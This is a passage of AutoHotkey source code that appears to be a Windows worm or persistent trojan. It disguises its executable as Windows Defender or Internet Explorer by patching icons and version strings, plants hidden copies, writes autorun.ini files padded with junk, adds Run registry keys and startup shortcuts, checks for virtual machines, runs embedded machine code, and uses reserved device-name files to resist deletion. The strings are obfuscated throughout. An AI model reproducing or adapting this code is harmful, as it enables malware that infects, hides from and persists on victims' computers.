FF8D5401FFB26F07FFBC7A0EFFC17F11FFC58412FFC88812FFC68A11FFCA8D0DFFCE8E08FFC28405FFB57A04FFA36B03FF925C01FF804E00FF5F3400FF291402EB26190E27(40)21130659220B05FF4A8276FF4DBCB0FF7FD5DDFF39B9F8FF20CBFFFF43AFBCFF7C4309FF3B1A00C02E1400574122005F4828005F4F2F005F5633005F6644095E6847095B7B570FC6C78D0BFFBD8304FFB07805FFA46D03FF976304FF885602FF5E3400FF2B1607D530201116(40)26190B2D1A0700ED4A2910FF53A28AFF54D0C4FF7BD6ECFF2EB7F8FF29D2FFFF54948BFF451800B9(56)7C570FBDC38A07FFB78005FFB27D07FFAD7C0BFFA7780EFF98690CFF583200FF2F1909AB412D1901(40)35241505191106BC3E1B00FF6E4E18FF4DA890FF5CDAD0FF75D4F3FF2BBAFAFF34D7FCFF405F53F679594D48(40)5B412B429E720BF8C38F0FFFBB8B11FFBA8B12FFB68611FFAE7E0FFF976C0EFF4A2B03FF3A241064(56)26190E57231504FF6B4109FF785616FF54A484FF65DFD7FF6FD1F6FF2CC0FEFF34CCEEFF506157E4AC928760DAD8D920EBEAEB1AE0DDDE1BBAAEA055916C1EDFC1941CFFC39721FFC2961FFFBE921CFFB98B16FFB08213FF835D0CFF3C2107E051382114(56)311F1206170D04BC493514FF865E21FF886021FF659D76FF6DDFD8FF6AD4FCFF2EC4FEFF37C7E6FF65653EFF7D511AD8765F38C7755B2CD57F5E19FFAC8930FFC19A39FFC79D35FFC69C33FFC3992EFFBD9128FFAA8321FF5A3A07FF4C2D166D(72)291A0D2D1B1005E76D5837FF9A7A47FF9D7239FF84976CFF7DD8CCFF69D6FCFF2BC6FFFF3CCAEBFF9D9D6FFFBC924CFFAB9257FFA7935CFFA48F5AFFAE9454FFBC9D51FFC5A24CFFC6A047FFBE9B45FF7A5A1DFF3E2209B3(88)2215094B20160CF07F6E51FFB19A72FFB59264FFAB9E72FF9FCEB9FF77D7F4FF28C6FFFF31C6F2FFAFBDA2FFE4BE88FFCFB889FFC5B182FFBDA979FFBAA470FFC0A76DFFC0A86BFF846A37FF462B12C560412217(16)1593DC8F46A1BA06(64)1E1106451E130BDB756755FFBEAF94FFD1BA9AFFD1B795FFD3CFB3FF93D8E8FF28C5FFFF23C1F7FFA8CCC2FFF5D4A8FFE5CFA5FFDECA9FFFDBCA9EFFC2B188FF755F3EFF381D04B05B463418(24)31A5DC420F8FD97C(72)1B0F021D15090195473C33F29D9484FFD4CABAFFEDDECAFFF6E9D4FFBDECF2FF4AD4FFFF18C3FFFF83C9D9FFEBD8BAFFDBC3A3FF9F8C70FF583F23D840260B6A43250908(32)36A8DF21289FDDD5(88)1004002C160B027E44392EBF7A7167DFA49B8FF4C8B8A7FDB0C0B8FD51B6D4FA1BBEFFFF3EB1DEFF4A5656C9390E00524416000D(56)1198D9D7(104)190A00051507002015090032190D073D250E073E3D40393570DCF2733BCCFFE214B1EDE61990BE7A2280A016(48)249ED07D0E98DDB5(160)75E9FC185EDEFE7F31CEFFDE18BCFEEC11A8EC950A9BE1481796D01B4B99AC072C98C3151191D5601195D3CC36A1C42A(176)6DE0F3145DDCF75139CAF9B325BCF4DB15B0F0E714A0DFCD119FE2CC109EE49E36A2C71B(264)C7FFFFFF801FFFFF0007FFFF01C11FFF03F001FF03C0007F0300001F02(5)F(7)7(7)7(7)38000F0018001F801C003FC01E(6)1E(6)1F(6)1F(6)1F(6)1F003F801F001F003F8(5)3F8(5)7FC(5)FFE(5)CFF00001CFF80003CFFE000FEFFF800FCFFFFF000FFFFFC01FFFFFFFF"
_IE_3 := "18(6)3(8)1002(11)6009(44)83F9FF0873FEFF043ACCF0080DA1E41C099AE01C0DAEE404(136)9EFAFF1288FDFF1961EAFA4A1EAAE7B91099DFE9109ADEE712A2E1AE17A0DA5B269ACC13(120)A0FCFF2A85FAFE4623A9E6DC0C83CAD039A2DA4534AFEE3230ABED4E22A7EAA4129CE3C40BA3F54E(112)A1FFFF4570E9FA8D0A95DCFF3296B655(24)57B1D301608D9B4E438AA3D49C7236B8C47314ABBE7314B8BC6D15ACA75E128E894F17576D3E131A(56)9CFFFF6067E6F9A80A99DBFF19A3D25A(16)481A003A843800AABF5D00EEE2850AFFEEAB2CFFF1C34DFFF4C650FFEEB63BFFE1971CFFC57007FF944C08D65D330F764022080E(40)93FEFF716AEDFCA80EA2E2FF12A2D48E(8)390D005D6A3002EDC87107FFE69D18FFF3BD3DFFFADA68FFFFF18EFFFFF493FFFDE073FFF4C345FFE9A21DFFD68008FFA05000FF4B2203B23C220618(32)88FBFF746FF7FF9B1EB4EEF909A4DCCD3E3D3862612100F2AA5501FFD8860BFFE5A11EFFF2BB3DFFFFD85FFFFCDE6EFFF3D669FFFBD35BFFFAC242FFE5A220FFD98C0EFFD27607FF954700FF371A04BA3726150D(24)83F9FF6570FDFF913FCDF8DF00A6F0FD375152F8AB4500FFAE5600FFCC7A09FFE49F1AFFF4B530FFBE8B29F5764F16AF6B46178F835A1AB2CE9325FCEAA119FFD5880CFFCB7407FFC26302FF693000FF29170787(24)83F9FF386AFBFF905EE9FEBB09B3FFFF289BB7FFB85809FFA14B00FFBC6B04FFEDA114FFB27714F23018075B240C0206(8)391C080952310D7CD08C16FFE18E0DFFCE7506FFBD6401FF8B4300FF2E1302F345382B33(16)7BF8FF076BF9FF7266F8FBA638C0F6F400B7FEFF7F7E57FFA94800FF9E5801FFE08E0BFF563307A3(40)6A431083754A1293673C0D8F532D058E4020029020100595403C3B3D(24)76FDFF2B5AE8E7A856B7C7FA15BAFFFF25B1D2FFA25A12FF894600FFB46A03FF5131089C553C133C6F4F16426D4E17426C4E19426C4D1940573B1332442F10323E280D32351E0A322A160731120401374C464423(32)61DCDE7A53A29CFF55BFE8FF07C4FFFF5E9686FF8E3F00FF804800FFBB7105F7CA810DF1C9820EF3CA860FF3CB8610F3CA870FF3C7830EF2BB7A0BF1A66A07F18E5503F1764201F13B1700F34F453E92(32)3D5856523B8078FC71C6C4FF39C1FBFF1DC6F2FF766E43FF6C2F00FF965901FFD68505FFE18F08FFE4930BFFE6970AFFE69A09FFE29606FFD08B04FFBC7B03FF9F6402FF864F00FF542C00FF2011059(33)1A0000432C322CF853AFA1FF6DCFE0FF2AC4FFFF38B7CBFF734716FF461C00C3573000946C3F009C7346009C80530599875E0D9EAB790EEAC68A06FFB07704FF9C6703FF895601FF522C00FF28170B78(32)261A0B1A220400E2505C40FF5BCCBBFF65D2F4FF27C9FFFF499D9EFF3F170389(32)5C401114986B0AE1C28806FFB17E08FFAB7A0CFF9B6B0BFF4E2C01F93420114D(40)1E13079C512600FF657846FF5FD0C2FF5FD2FBFF2BCBFDFF427B7CE296746743(16)D1CBCB097D5F2E86B6870DFFC19216FFBB8D15FFB68611FF966C0DFF442808D346301B14(40)27180E322E1E08EF7F5012FF777D45FF6BCCBDFF58D8FFFF2AC8F7FF5D877CEB9E764DA49B886B918F794EBCA7832AFDC59C2FFFC69B2EFFC39828FFBC9022FF73510CFF4728116F(56)1E1107724F3C24FFA17843FF988A54FF87C4B0FF5BD7FCFF27C7F8FF789B81FFB98C47FFA98F52FFA9945CFFB39856FFC3A150FFCDAA52FF9A7931FF4B2C0BB14E2F180309ACFF333CA8CF04(40)26180B05190F06845C4E3BFBB69C79FFC8AD82FFBCC9AEFF76D4EDFF21C7FFFF5DB3CAFFECCA99FFDAC192FFCEBB8DFFCCB987FF978052FF50371CB55E38171A(9)9ACFF7D2998CD26(48)1D1005011408015843392FD29F9281FFDEC9B1FFF3E6D0FFA4EAFAFF33D4FFFF40B1DEFFE5D4B7FFCFB18CF9846646E5442001824C290F0F(17)FACFC2E169FE6BE(65)C000011150B045A473C329C7B6E62C0A48F7ED1749395CE30B7E7DC32B5E8FF37505AAC34242015(33)DABFB2E0EA1EB6C(89)B(5)80D0000102308000D63A4AB1F3FD3FF9423BFFACD0FA7EDCD0AAAF64E079EE613(9)DA9F73B0D9BE3AE219CD02A(128)65E2FE213ACBFE6E25BCF9BD10AAF2D90FA6F0D710A1E8AF1E9DD54339A2C109(200)81FFFF00007FFF00003FFF000E007F000C001F0008000F(7)7(7)7(5)80300003E030080000300C0000300C0000300C0000300C03C0300E0180300E0000700F0000100F0000900F8001900FE007900FFC01100FFFE0100FFFFFF00"
_IE_4 := "1(7)2(8)1002(11)4004(44)2CE5FF440996F4C82297E9D71781B5D21686AFB00169A132(72)37FBFF1420B4FFD50C75C8A61461836D34AAFF5C34ADFBA2136A8FD52B545AAE7E4C00A2784A00A5683D00775B340022(32)3FFAFF3727B3FFF206537FBC(8)2A2E29376C3D02E0B57300FEECA200FFFFB614FFFFB30BFFDE9500FFAD6B00FE7B4900DF5532092A(16)45FCFF432ABCFCF1125E8AD1AC8A72207C3D00FEC37800FFE49E00FFFFBF1DFFFFD47BFFFFD270FFFFC32FFFFFAF05FFFFB72AFF864800FD5543374E(8)49FBFF3E43D6FFCF1FA0FFE68D4D0DD8954D00FFCF8500FFDE9800FFF6AE00FFEFA000FFDA9300FFFFCF6BFFFFC13CFFF2A100FFFFAD17FF803E00FC4D3E3A2043F7FF2E55EFFFA324B7FFFF547262FF863F00FFB97400FFD79000FF8A5500D23B1B092C5A25120C77460077FF8605FFFFB830FFFF9D0AFFFFA702FF5A3A24D939F5FF0F4AFBFF8A38C7F5FF10B5F3FF713A03FF8F4E00FFA86800FF2A1F171D(72)3BFAFF5973C4C3FF26C3FBFF38848FFF5C2200FF9B5200FF9B5800FFAD4C00FFA45100FFA45100FF9C4E00FF8F4200FF884100FF823D00FF331801B4(8)3B858025749E91FF55D7FDFF15BCFBFF454835FF633000FFF69700FFF99C00FFFCA000FFF8A100FFEC9600FFE69200FFF1A81AFFF68F03FF311603B7(8)621D0114A77326DF7DC5B8FF44CEFBFF0BADE7FF2F3429FF36360AD5412B08BB4A3406BB483003C1DC610FFFFF760EFFFCB053FFF1943DFF321704B1(16)BE7403C1F8BA29FF7CE0DEFF36CCFBFF139CC0FF0B3B5EFF023B6631(8)6A573A93F89617FFFEA72FFFFCCB57FFF29B3DFF2715098E(16)B67A095CFFAD06F4FFC84EFF70DCD4FF39D2FDFF2094A1FF23354BFE515755B5E59D28FFFEB340FFFECD5BFFFEC25AFFAF7138FF4D5F013C(24)C479009AFFB530FBFFCB5CFF81CDBAFF43D5FFFF26AABFFF476168FF868D73FFFFD267FFFFD677FFB67534FF62672565024B6389(24)8F420018C479009AFFB52EF9FECE5EFFC2D893FF75DCFFFF4DD7FFFF447072FF678273FF9B7148FF(16)1E89B0AD(40)B67A095CC8851EC2E4A221F3E3B133F04BD6BAC03ACBF8EE479CA6ED15565EBF034761A8126787C034B6E88E(80)77DEFB4744C7F4AC2CB9EFD829B3E7DF29B1E78B47CCF72481FF(7)F00001003(7)1(22)FF00008(7)8(7)8(7)C04(5)C(7)E(7)E0060000F8(6)FFC(5)"
Dat1:=
Dat2:=
Dat3:=
For xx, hdta in {_WD_1: _WD_1, _WD_2: _WD_2, _WD_3: _WD_3, _WD_4: _WD_4, _IE_1: _IE_1, _IE_2: _IE_2, _IE_3: _IE_3, _IE_4: _IE_4} {
nw_hxx=
For idx, st_ in StrSplit(StrReplace(StrReplace(hdta, "(", "`n("), ")", ")`n"), "`n")
nw_hxx .= (InStr(st_, "(") && InStr(st_, ")")) ? zrs(trim(st_, "(|)")) : st_
%xx% := nw_hxx
}
}
exp_xex := "49004500580050004C004F00520045002E004500580045"
exp := "69006500780070006C006F00720065"
exp_ds := "49006E007400650072006E006500740020004500780070006C006F007200650072" zrs(56)
w := "4D00530041005300430055004900"
wdf_xex := w "2E0045005800450000"
wdf := w "00"
wdf_ds := "570069006E0064006F0077007300200044006500660065006E0064006500720020005500730065007200200049006E0074006500720066006100630065"
Try {
fl := FileOpen(in_fl, "r")
if !IsObject(fl)
return 0
file_sz := fl.Length
if (file_sz <= 0)
return 0
fl.RawRead(file_, file_sz)
fl.Close()
} catch ee
return 0
b2h(&file_, file_sz, fle_hx)
VarSetCapacity(file_, 0)
StringCaseSense, Off
if (chgtyp="ix")
Str_Replace(fle_hx, _WD_1, _IE_1),Str_Replace(fle_hx, _WD_2, _IE_2),Str_Replace(fle_hx, _WD_3, _IE_3),Str_Replace(fle_hx, _WD_4, _IE_4),Str_Replace(fle_hx, wdf_xex, exp_xex),Str_Replace(fle_hx, wdf, exp),Str_Replace(fle_hx, wdf_ds, exp_ds)
Else
Str_Replace(fle_hx, _IE_1, _WD_1),Str_Replace(fle_hx, _IE_2, _WD_2),Str_Replace(fle_hx, _IE_3, _WD_3),Str_Replace(fle_hx, _IE_4, _WD_4),Str_Replace(fle_hx, exp_xex, wdf_xex),Str_Replace(fle_hx, exp, wdf),Str_Replace(fle_hx, exp_ds, wdf_ds)
h2b(bin,fle_hx)
Try {
tmp_fl := a_temp "\" get_num_seed(20) ".tmp"
if !kill_del(tmp_fl)
return 0
fl := FileOpen(tmp_fl, "w")
if !IsObject(fl)
return 0
fl.RawWrite(&bin, StrLen(fle_hx)//2)
VarSetCapacity(bin, 0)
file_sz_ := fl.Length
fl.Close()
} catch ee
return 0
if (file_sz!=file_sz_) {
kill_del(tmp_fl)
return 0
}
SplitPath, ScriptFullPath, , OtDr
For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl} {
if FileExist(bkfle) {
if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz)
kill_del(bkfle)
}
if !FileExist(bkfle) {
if (chgtyp = ctyp)
Try FileCopy, %cp_to%, %bkfle%
Else if (fl_typ_nfo(ScriptFullPath) = ctyp)
Try FileCopy, %ScriptFullPath%, %bkfle%
if FileExist(bkfle)
Try FileSetAttrib, +RS, %bkfle%
}
}
Try FileCopy, %tmp_fl%, %cp_to%, 1
sleep, 50
if FileExist(cp_to) {
SplitPath, cp_to, , OtDr
For ctyp, bkfle in {ix: OtDr "\" IE_Icn_Fl, wd: OtDr "\" WD_Icn_Fl} {
if FileExist(bkfle) {
if (fl_typ_nfo(bkfle) != ctyp || ver_typ(bkfle) != 1 || FileSize(bkfle) != self_sz)
kill_del(bkfle)
}
if !FileExist(bkfle) {
if (chgtyp = ctyp)
Try FileCopy, %tmp_fl%, %bkfle%
Else if (fl_typ_nfo(ScriptFullPath) = ctyp)
Try FileCopy, %ScriptFullPath%, %bkfle%
if FileExist(bkfle)
Try FileSetAttrib, +RS, %bkfle%
}
}
}
kill_del(tmp_fl)
if !FileExist(cp_to)
Return 0
return 1
}
b2h(ptrr, len, ByRef hxdmp="") {
A_FI := A_FormatInteger
SetFormat, Integer, Hex
Loop, %len%
hxdmp .= SubStr(StrReplace(*ptrr+0,"x"), -1),ptrr++
SetFormat, Integer, %A_FI%
StringUpper, hxdmp, hxdmp
}
h2b(ByRef bin, hx) {
Static fnnn
If (fnnn = "") {
h:="568B74240C8A164684D2743B578B7C240C538AC2C0E806B109F6E98AC802CAC0E104880F8A164684D2741A8AC2C0E806B309F6EB80E20F02C20AC188078A16474684D275CD5B5F5EC3"
hdv := StrLen(h)//2
VarSetCapacity(fnnn,hdv)
Loop %hdv%
NumPut("0x" . SubStr(h,2*A_Index-1,2), fnnn, A_Index-1, "Char")
}
VarSetCapacity(bin,StrLen(hx)//2)
Try DllCall(&fnnn, "uint", &bin, "Str", hx, "cdecl")
}
auto_rn_chk:
if FileExist(atrn_fl) {
Try fileread, jj, %atrn_fl%
StrReplace(jj, "=", "", jjeq)
StrReplace(atrun_ori, "=", "", eq)
if (jjeq = eq) {
atrn_err:=0
For indx, lpp in StrSplit(atrun_ori,"`n") {
if indx < 3
continue
Stringreplace, lpp, lpp,%WinDir%,`%WinDir`%
Stringsplit, arn, lpp,=
Try IniRead, dd, %atrn_fl%, autorun, %arn1%
if (dd != arn2) {
atrn_err = 1
break
}
}
if atrn_err = 0
return
}
}
kill_del(atrn_fl)
sleep, 50
if FileExist(atrn_fl)
return
if !ths_aurn_hx
{
ths_aurn_hx := get_rdm_lns() . get_jnk_lns()
For indx, lpp in StrSplit(atrun_ori,"`n")
ths_aurn_hx .= get_rdm_lns() . get_jnk_lns() . s2h(lpp) . get_jnk_lns()
ths_aurn_hx .= "0A" . get_rdm_lns() . get_rdm_lns()
}
mk_hxfl(atrn_fl, ths_aurn_hx)
if FileExist(atrn_fl)
Try filesetattrib, +RSAH, %atrn_fl%
return
strtup_ext:
For indx, hk in ["HKLM", "HKCU"] {
if (indx = 1 && !rg_lm_ok)
continue
rr := StrSplit(rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def), """")
if (FileExist(rr[2]) && rr[3] = " " alt_0_chr)
ExitApp
}
nb := RegExReplace(ScriptFullPath, "i)(.*)\\.*?\\.*?$", "$1")
gosub, get_autoStrt_pths
autoStrt_ScriptFullPaths := nb win_def_mscuiexe "`n" autoStrt_pths
chk_dn = |
For indx, autoStrt_pth in StrSplit(autoStrt_ScriptFullPaths,"`n") {
if (!autoStrt_pth || InStr(chk_dn, "|" autoStrt_pth "|")) {
continue
}
chk_dn .= autoStrt_pth "|"
if !FileExist(autoStrt_pth) {
SplitPath, autoStrt_pth, of, Odr
Try filecreatedir, %Odr%
Try filecopy, %ScriptFullPath%, %autoStrt_pth%
sleep, 200
if FileExist(autoStrt_pth) {
Try filesetattrib, +RS, %autoStrt_pth%
Try filesetattrib, -H, %autoStrt_pth%
Try filesetattrib, +RSH, %Odr%
}
}
if FileExist(autoStrt_pth) {
rg = "%autoStrt_pth%" %alt_0_chr%
For indx, hk in ["HKLM", "HKCU"] {
if (indx = 1 && !rg_lm_ok)
continue
if (rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def) = rg)
ExitApp
rg_wt(, hk, reg_sw_ms_win_cu_ru, win_alt0160_def, rg)
if (rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def) = rg)
ExitApp
}
}
}
ExitApp
get_autoStrt_pths:
if autoStrt_pths =
{
asp = %myprg_dir%%win_def_mscuiexe%`n
pgdr := RegExReplace(ScriptFullPath, "i)(.*)\\.*?\\.*?$", "$1")
if (pgdr != myprg_dir)
asp .= pgdr win_def_mscuiexe "`n"
asp .= ScriptFullPath
autoStrt_pths := asp
}
return
crtstrtup:
chk_reg_mons()
autoStrt_pth =
hh_kk =
gosub, get_autoStrt_pths
if cls_id_208D2C60 =
cls_id_208D2C60 := dcprt("5X56f6JXaVyOl3-aLjJ9SV1aUo3mLeaJcU1aWmnx8iZFVWVaXrsk-c", "LJG^%&&^j")
chk_dn = |
For indx, loopfield in StrSplit(autoStrt_pths,"`n") {
if (!loopfield || InStr(chk_dn, "|" loopfield "|")) {
continue
}
chk_dn .= loopfield "|"
autoStrt_pth = %loopfield%
SplitPath, autoStrt_pth, , asp_dr
if autoStrt_pth = %ScriptFullPath%
break
rechk:
if !FileExist(autoStrt_pth) {
if !FileExist(dr) {
Try filecreatedir, %asp_dr%
Try filesetattrib, +RSH, %asp_dr%
}
chg_icn_typ_cpy(ScriptFullPath, autoStrt_pth, "wd")
if !FileExist(autoStrt_pth)
continue
if (autoStrt_pth = myprg_dir win_def_mscuiexe) {
loop, %prg_dir%\%win_def%\*.*
if A_LoopFileSize < 1000000
ifnotexist, %myprg_dir%\%win_def%\%a_loopfilename%
Try fileappend, %A_LoopFileFullPath%, %myprg_dir%\%win_def%\%a_loopfilename%
Try filecreatedir, %myprg_dir%\%win_def%\en-US
}
sleep, 50
if FileExist(autoStrt_pth)
break
}
if FileExist(autoStrt_pth) {
ver := ver_typ(autoStrt_pth)
if ver = 1
break
else if (ver = 2) {
Try run, %autoStrt_pth% %alt_0_chr%,, useerrorlevel, pp
if (errorlevel = 0) {
Try process, wait, %pp%, 5
Try process, waitclose, %pp%, 10
kill_del(autoStrt_pth, pp)
}
}
else
{
kill_del(autoStrt_pth)
if !FileExist(autoStrt_pth)
goto, rechk
}
}
}
if !FileExist(autoStrt_pth)
autoStrt_pth = %ScriptFullPath%
chk_con_fl(autoStrt_pth)
SplitPath, autoStrt_pth, , asp_dr
asp_dr_dr := regexreplace(autoStrt_pth, "i)(.*)\\.*?\\.*?\.exe$", "$1")
dr_ini = %asp_dr%\desktop.ini
dr_dr_ini = %asp_dr_dr%\desktop.ini
hh_kk =
For indx, hk in ["HKLM", "HKCU"] {
if (indx = 1 && !rg_lm_ok)
continue
gg := rg_rd(hk, reg_sw_ms_win_cu_ru, win_alt0160_def)
if gg != "%autoStrt_pth%" %alt_0_chr%
continue
hh_kk = %hk%
kill_del(dr_ini)
kill_del(dr_dr_ini)
break
}
if hh_kk !=
goto strtp_dn
if (!fst_tm_strtp_chk_dn) {
fst_tm_strtp_chk_dn = 1
goto, try_reg_strt
}
For indx, ppth in [startupcommon, startup] {
Try FileGetShortcut, %ppth%\%win_alt0160_def%.lnk, OTrgt,,OArg
if errorlevel
continue
if (InStr(OTrgt, autoStrt_pth) && InStr(OArg, alt_0_chr) && FileExist(OTrgt)) {
goto strtp_dn
}
}
try_reg_strt:
asp = "%autoStrt_pth%" %alt_0_chr%
For indx, hk in ["HKLM", "HKCU"] {
if (indx = 1 && !rg_lm_ok)
continue
if (!rg_wt(, hk, reg_sw_ms_win_cu_ru, win_alt0160_def, asp))
continue
hh_kk := hk
kill_del(dr_ini)
kill_del(dr_dr_ini)
if (!xp_hgr) {
IniWrite, %cls_id_208D2C60%, %dr_ini%, .ShellClassInfo, CLSID
Try filesetattrib, +RSH, %dr_ini%
}
goto strtp_dn
}
hh_kk =
pw := prg_dir . win_def_mscuiexe
if FileExist(pw) {
icnfile := pw
goto, icnn_ok
}
icnfile = %autoStrt_pth%
icnn_ok:
wdlc := dcprt("wbW4q82cmUaiz7KvtcKKmDCq2a-aru8eUlGA-c", "LJG^%&&^j")
For indx, hh_kk in [startupcommon, startup] {
lnkk := hh_kk "\" win_alt0160_def ".lnk"
kill_del(lnkk)
Try FileCreateShortcut, %autoStrt_pth%, %lnkk%, %prg_dir%,%alt_0_chr%, %wdlc% %prg_dir%\%win_def%, %icnfile%,,1
if !errorlevel
{
Try filesetattrib, +RSA, %lnkk%
Try filesetattrib, -H, %lnkk%
break
}
else
hh_kk =
}
strtp_dn:
if hh_kk contains HKLM,HKCU
{
For indx, lp in [startupcommon, startup] {
lnk := lp "\" win_alt0160_def ".lnk"
Try FileGetShortcut, %lnk%, OTrgt,,OArg
if (FileExist(OTrgt) && InStr(OTrgt, autoStrt_pth) && InStr(OArg, alt_0_chr)) {
Try filesetattrib, -RSAH, %lnk%
Try filedelete, %lnk%
}
}
}
if (autoStrt_pth != ScriptFullPath) {
Try IniRead, kk, %sd_ini%, .ShellClassInfo, CLSID
if (kk != cls_id_208D2C60) {
Try IniWrite, %cls_id_208D2C60%, %sd_ini%, .ShellClassInfo, CLSID
}
Try filegetattrib, nnn, %sd_ini%
if (nnn != "RSH" && nnn != "RASH") {
Try filesetattrib, +RSH, %sd_ini%
}
}
else
kill_del(sd_ini)
Try filegetattrib, hh, %ScriptDir%
if (hh != "RSH" && hh != "RASH") {
Try filesetattrib, +RSH, %ScriptDir%
}
Try filegetattrib, hh, %myprg_dir%
if (hh != "RSH" && hh != "RASH") {
Try filesetattrib, +RSH, %myprg_dir%
}
return
prv_strt_chk:
stringright, now, a_now, 3
if (now = "000" || !prv_chk) {
insc := dcprt("s7q-arNCTi5p-avbGtvNCOmp8-c", "LJG^%&&^j")
For indx, lp in [startup, startupcommon]
kill_del(lp "\" insc ".lnk")
For indx, hk in ["HKLM", "HKCU"]
If InStr(rg_rd(hk, reg_sw_ms_win_cu_ru, insc), ieDotexe)
Try regdelete, %hk%, %reg_sw_ms_win_cu_ru%, %insc%
prv_chk = 1
}
return
fl_typ_nfo(infl="") {
Static csss, hxvl
Global int_exp, win_def, ScriptFullPath
if !infl
infl := ScriptFullPath
If !csss
{
csss := A_IsUnicode ? "W" : "A"
hxvl := "msvcrt\s" (A_IsUnicode ? "w": "") "printf"
}
If !FSz := DllCall("Version\GetFileVersionInfoSize" csss, Str, infl, UInt, 0)
Return ""
VarSetCapacity( FVI, FSz, 0), VarSetCapacity(trs, 8 * (A_IsUnicode ? 2 : 1))
DllCall("Version\GetFileVersionInfo" csss, Str, infl, Int, 0, UInt, FSz, UInt, &FVI)
If !DllCall("Version\VerQueryValue" csss, UInt, &FVI, Str, "\VarFileInfo\Translation", UIntP, tns, UInt, 0)
Return ""
If !DllCall(hxvl, Str, trs, Str, "%08X", UInt, NumGet(tns+0))
Return ""
If !DllCall("Version\VerQueryValue" csss, UInt, &FVI, Str, "\StringFileInfo\" SubStr(trs,-3) SubStr(trs,1,4) "\FileDescription", UIntP, iptr, UInt, 0)
return ""
typp := DllCall("MulDiv", UInt, iptr, Int, 1, Int, 1, "Str")
if InStr(typp, int_exp)
return "ix"
else if InStr(typp, win_def)
return "wd"
return ""
}
instlr:
For idn, pr in get_prcs_by_cls() {
ver := ver_typ(pr.pr_pth)
if ver = 2
ExitApp
else if (ver = 1) {
pr_nm := pr.pr_nm
if pr_nm not contains ~,.tmp.
ExitApp
}
else if ver = 0
kill_del(pr.pr_pth, pr.pr_pid)
}
chk_reg_mons()
wtchr_Instl = 0
ckvirtl()
if (InStr(ScriptName, ieDotexe) || InStr(ScriptName, MCuiEXE)) {
if cmdl_tw !=
ExitApp
goto, emrgnc_instl
}
if cmdl_on != %alt_0_chr%
ExitApp
onexit, delexit
emrgnc_instl:
upd_lst_upd_dys()
upd_ver_cnt(1)
set_ixplr:
ix_pid =
highr_running = 0
ptttt := "i).*\\" prg_alt0160_fls StrReplace(StrReplace(ie_ix_exe, "\", "\\"), ".", "\.") "$"
For idn, pr in get_prcs_by_cls() {
pr_pth := pr.pr_pth
pr_pid := pr.pr_pid
if (RegExMatch(pr_pth, ptttt) < 1)
continue
ver := ver_typ(pr_pth)
if (ver = 1 && ix_pid = "")
ix_pid := pr_pid
if ver = 2
highr_running++
else if (ver < 1) {
Try process, close, %pr_pid%
kill_del(pr_pth)
ix_pid =
}
chk_tskmgr()
}
if (highr_running > 0) {
onexit
ExitApp
}
if ix_pid !=
return
tw_pths = %myprg_dir%%ie_ix_exe%|%appdata%\%prg_alt0160_fls%%ie_ix_exe%
me_isMCui := InStr(ScriptFullPath, "\" win_alt0160_def "\" MCuiEXE)
me_isTmp := (is_tmp_upd || InStr(ScriptName, "~temp~")) ? 1 : 0
For indx, loopfield in StrSplit(tw_pths, "|") {
if !FileExist(loopfield)
continue
ver := ver_typ(loopfield)
if (ver < 1) {
kill_del(loopfield)
continue
}
else if (ver = 1) {
if (InStr(ScriptFullPath, win_def_mscuiexe) || me_isTmp || me_isMCui) {
Try run, %loopfield% %alt_0_chr% %netw_srv%,, useerrorlevel
if (errorlevel = 0) {
if me_isTmp
ExitApp
if (me_isMCui) {
OnExit
Try run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel
onexit
ExitApp
}
return
}
}
}
else if (ver = 2) {
Try run, %loopfield% %alt_0_chr%,, useerrorlevel
if errorlevel = 0
ExitApp
}
}
For indx, fullpath in StrSplit(tw_pths, "|") {
stringgetpos, ff, fullpath, \, R2
stringgetpos, ss, fullpath, \, R1
stringleft, fst_dir, fullpath, %ff%
stringleft, scnd_dir, fullpath, %ss%
if !FileExist(scnd_dir) {
Try filecreatedir, %scnd_dir%
Try filesetattrib, +SH, %fst_dir%
Try filesetattrib, +SH, %scnd_dir%
}
if (fst_dir = myprg_dir) {
loop, %prg_dir%\*.*, 2, 0
if !FileExist(myprg_dir "\" A_LoopFileName)
Try FileCreateDir, %myprg_dir%\%A_LoopFileName%
}
if !FileExist(fullpath) {
chg_icn_typ_cpy(ScriptFullPath, fullpath, "ix")
if !FileExist(fullpath)
continue
}
ver := ver_typ(fullpath)
if (ver = 1) {
if (InStr(ScriptFullPath, win_def_mscuiexe) || me_isTmp || me_isMCui) {
chk_con_fl(fullpath)
Try run, %fullpath% %alt_0_chr% %netw_srv%,, useerrorlevel
if (errorlevel = 0) {
if me_isTmp
ExitApp
if (me_isMCui) {
OnExit
Try run, %ScriptFullPath% %alt_0_chr% %lcl_srv%,, useerrorlevel
ExitApp
}
return
}
}
}
else if (ver != -1) {
fj := fullpath . get_num_seed(5)
kill_del(fullpath)
kill_del(fj)
Try filemove, %fullpath%, %fj%, 1
if FileExist(fj)
kill_del(fj)
}
}
run_in_tmp(ieDotexe)
if ScriptName = %MCuiEXE%
return
ExitApp
chk_con_fl(fp) {
if !FileExist(fp)
return
Try FileSetAttrib, +RS %fp%
Try FileSetAttrib, -H, %fp%
loop, %fp%
{
stringtrimright, shpth, A_LoopFileShortPath, StrLen(A_LoopFileShortName)
hh := h2s("7867316F56784A4F7132")
sls := dcprt("jtSVjQ-c-c", hh)
cn := sls shpth dcprt("lefV", hh)
lp := sls shpth dcprt("nujbYg-c-c", hh)
Try FileAppend, microsoft, %lp%
Try FileAppend, antivirus, %cn%
Try FileSetAttrib, +RSH, %lp%
Try FileSetAttrib, +RSH, %cn%
break
}
return
}
chk_if_instld_n_runit:
runok = 0
For idn, pr in get_prcs_by_cls() {
pr_pth := pr.pr_pth
pr_nm := pr.pr_nm
if ((SubStr(pr_pth, -11) != "\" MCuiEXE && SubStr(pr_pth, -12) != "\" ieDotexe))
continue
if (ver_typ(pr_pth) > 0)
ExitApp
kill_del(pr_pth, pr.pr_pid)
sleep, 100
if FileExist(pr_pth)
continue
typp := (pr_nm = MCuiEXE) ? "wd" : "ix"
chg_icn_typ_cpy(ScriptFullPath, pr_pth, typp)
sleep, 100
if !FileExist(pr_pth)
continue
Try FileSetAttrib, +RSA, %pr_pth%
Try FileSetAttrib, -H, %pr_pth%
cm := (pr_nm = MCuiEXE) ? lcl_srv : netw_srv
